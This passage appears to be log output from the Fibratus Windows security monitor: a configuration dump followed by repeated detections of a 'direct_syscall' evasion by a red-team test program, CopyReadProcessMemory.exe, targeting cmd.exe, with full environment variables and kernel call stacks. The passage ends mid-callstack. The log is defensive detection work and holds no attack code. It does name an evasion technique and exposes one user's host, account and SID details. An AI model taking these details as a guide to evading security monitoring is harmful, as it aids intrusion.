source=bootstrap/bootstrap.go:155 +time=2025-12-06T18:52:44+01:00 level=info msg=bootstrapping with pid 2572. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-06T18:52:44+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ content-type=>text/html port=>25 to=>[] enabled=>false use-template=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-threadpool=>false min-buffers=>16 enable-registry=>true enable-vamap=>true enable-dns=>false enable-image=>true flush-interval=>1s max-buffers=>36 enable-thread=>true enable-net=>true enable-handle=>false enable-fileio=>true enable-mem=>true buffer-size=>512 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-backups=>15 level=>info log-stdout=>true max-age=>0 formatter=>text] + output ......................... [ http=>[ timeout=>5s enabled=>false serializer=>json tls-insecure-skip-verify=>false enable-gzip=>false method=>POST endpoints=>[]] amqp=>[ enabled=>false exchange-type=>topic durable=>false timeout=>5s routing-key=>fibratus url=>amqp://localhost:5672 vhost=>/ passive=>false exchange=>fibratus delivery-mode=>transient tls-insecure-skip-verify=>false] elasticsearch=>[ template-name=>fibratus enabled=>false flush-period=>1s servers=>[http://127.0.0.1:9200] index-name=>fibratus trace-log=>false gzip-compression=>false bulk-workers=>1 healthcheck-timeout=>5s timeout=>5s healthcheck-interval=>10s healthcheck=>true sniff=>false] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false fastscan=>true skip-registry=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false excluded-files=>[] excluded-procs=>[] scan-timeout=>10s skip-files=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-06T18:52:45+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-06T18:52:48+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-06T18:52:51+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 768263 + Pid: 5472 + Tid: 8188 + Type: VirtualAlloc + CPU: 3 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 18:52:50.3575134 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ c54fef8000, exe➜ C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe, name➜ CopyReadProcessMemory.exe, page_type➜ PRIVATE, pid➜ 5472, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 5472 + Ppid: 9772 + Name: CopyReadProcessMemory.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe" -f C:\Windows\System32\cmd.exe + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe + Cwd: C:\Fibratus\redteam\CopyReadProcessMemory\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe" -f C:\Windows\System32\cmd.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff7dfdd0112 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd6dc4a C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd911b5 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdd0a73 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb6b90 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd8af05 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdabc12 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd8da9f C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd925ef C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd90e38 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdd477c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfda3df6 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdd2467 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdd6113 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdec709 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdec5ee C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdec4ae C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdec79e C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T18:52:51+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 768267 + Pid: 5472 + Tid: 8188 + Type: VirtualAlloc + CPU: 3 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 18:52:50.3578207 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ c54fef7000, exe➜ C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe, name➜ CopyReadProcessMemory.exe, page_type➜ PRIVATE, pid➜ 5472, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 5472 + Ppid: 9772 + Name: CopyReadProcessMemory.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe" -f C:\Windows\System32\cmd.exe + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe + Cwd: C:\Fibratus\redteam\CopyReadProcessMemory\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe" -f C:\Windows\System32\cmd.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c 